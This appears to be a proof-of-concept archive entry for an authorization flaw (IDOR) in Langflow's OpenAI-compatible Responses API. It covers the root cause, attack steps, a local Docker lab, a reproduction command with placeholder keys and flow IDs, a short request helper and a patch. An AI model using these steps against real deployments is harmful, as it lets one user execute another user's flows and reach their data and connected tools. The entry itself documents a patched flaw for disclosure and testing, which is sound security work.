PoC Archive PoC Archive
High CVE-2026-55255 (GHSA-qrpv-q767-xqq2) patched

Langflow Responses API IDOR — Execute Another User's Flow (CVE-2026-55255)

by rootdirective-sec · 2026-07-19

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / Researcherrootdirective-sec
CVE / AdvisoryCVE-2026-55255 (GHSA-qrpv-q767-xqq2)
Categoryweb
SeverityHigh
CVSS Score8.4 (CVSS 3.1, AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L)
StatusWeaponized — confirmed cross-user flow execution via a minimal request-only PoC
Tagslangflow, ai-agent-framework, idor, cwe-639, authenticated, remote, cross-tenant, kev
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow — open-source platform for building and deploying AI-powered agents and workflows (langflow-ai/langflow), OpenAI-compatible Responses API
Versions Affected< 1.9.1
Language / PlatformPython, FastAPI-based REST API
Authentication RequiredYes — requires a valid (even low-privilege) API key of the attacker’s own
Network Access RequiredYes

Summary

Langflow’s OpenAI-compatible Responses API (POST /api/v1/responses) accepts a model field that Langflow interprets as a flow ID to execute. The endpoint fails to verify that the API key making the request actually owns the flow ID supplied — so any authenticated user (even one with a low-privilege API key) can substitute another user’s flow UUID as the model value and cause Langflow to execute that victim-owned flow on their behalf, with the response potentially exposing whatever the victim’s flow does or has access to (data, connected tools, secrets embedded in the flow).


Vulnerability Details

Root Cause

Tracked as CWE-639 (Authorization Bypass Through User-Controlled Key). The Responses API resolves the model request field to a flow_id and executes the corresponding flow without checking that the flow belongs to (or is otherwise authorized for) the calling API key’s owner — an Insecure Direct Object Reference. As long as the attacker can guess or obtain another user’s flow UUID, Langflow will run it as if the attacker were authorized to.

Attack Vector

  1. Attacker obtains their own valid Langflow API key (any privilege level).
  2. Attacker obtains or guesses a victim’s flow UUID (flow IDs are not treated as secret in typical Langflow usage patterns, e.g. shared via UI links or enumeration).
  3. Attacker sends POST /api/v1/responses with their own x-api-key header and the victim’s flow UUID as the model value.
  4. Langflow executes the victim-owned flow and returns its output to the attacker, with no ownership check performed.

Impact

Cross-tenant/cross-user execution of arbitrary flows within a Langflow deployment: an attacker can trigger another user’s automation, potentially exfiltrating data the victim’s flow processes or has access to, abusing any external integrations/tools the flow is wired to, or causing unintended side effects — all without needing the victim’s own credentials, only their flow ID.


Environment / Lab Setup

Target:      Local Docker lab comparing Langflow 1.9.0 (vulnerable) on :7860 and
             Langflow 1.9.1 (patched) on :7861, both seeded with a victim flow via
             seed/seed.py
Attacker:    Python 3 standard library only (poc/validate_idor.py uses no third-party
             dependencies, no Docker/shell/container-API calls)

Setup Steps

1
docker compose up -d

Proof of Concept

See docker-compose.yml, seed/ (Dockerfile, seed.py), and poc/validate_idor.py in this folder — mirrored from rootdirective-sec/CVE-2026-55255-Lab. Verified before ingestion: read every file in full. This is an exceptionally well-documented lab — its own README includes an evidence-cited “Verified Facts” table mapping every claim (affected endpoint, affected/patched versions, API key header, request shape) to a specific piece of evidence (GitHub Security Advisory, Langflow documentation, or “inspect this file”), and is explicit about what it does not do: no credential theft, no database dumping, no destructive payloads, no external callbacks, no malware, no persistence, no post-exploitation activity — scoped strictly to demonstrating the vulnerable-vs-patched HTTP behavior difference.

Step-by-Step Reproduction

1
2
3
4
5
6
7
docker compose up -d

python3 poc/validate_idor.py \
  --url http://localhost:7860 \
  --api-key '<ATTACKER_API_KEY>' \
  --flow-id '<VICTIM_FLOW_ID>' \
  --expect-marker 'VICTIM_ONLY_CONTEXT_55255_VULN'

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def post_json(url, api_key, payload):
    req = request.Request(
        url, data=json.dumps(payload).encode("utf-8"), method="POST",
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json",
            "x-api-key": api_key,   # attacker's OWN key
        },
    )
    with request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
        text = resp.read().decode("utf-8", errors="replace")
        return resp.status, text, parse_json(text)

Expected Output

HTTP 200 — response body contains: VICTIM_ONLY_CONTEXT_55255_VULN

HTTP 4xx — {"error":{"message":"Flow with id '<victim-flow-id>' not found",
            "type":"invalid_request_error","code":"flow_not_found"}}

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchUpgrade to Langflow >= 1.9.1, which verifies flow ownership before executing a flow requested via the Responses API.
WorkaroundTreat flow IDs as sensitive identifiers (avoid predictable/sequential IDs, don’t share them in contexts an attacker could observe) until patched.

References


Notes

Surfaced via a 30-day CVE discovery sweep on 2026-07-19, anchored on CISA KEV’s dateAdded field (added 2026-07-07). Verified before ingestion per this archive’s standing rule: read every file in the lab in full — clean, minimal, exceptionally well-documented, and explicitly scoped to avoid any destructive or exfiltration behavior beyond demonstrating the vulnerable-vs-patched HTTP response difference.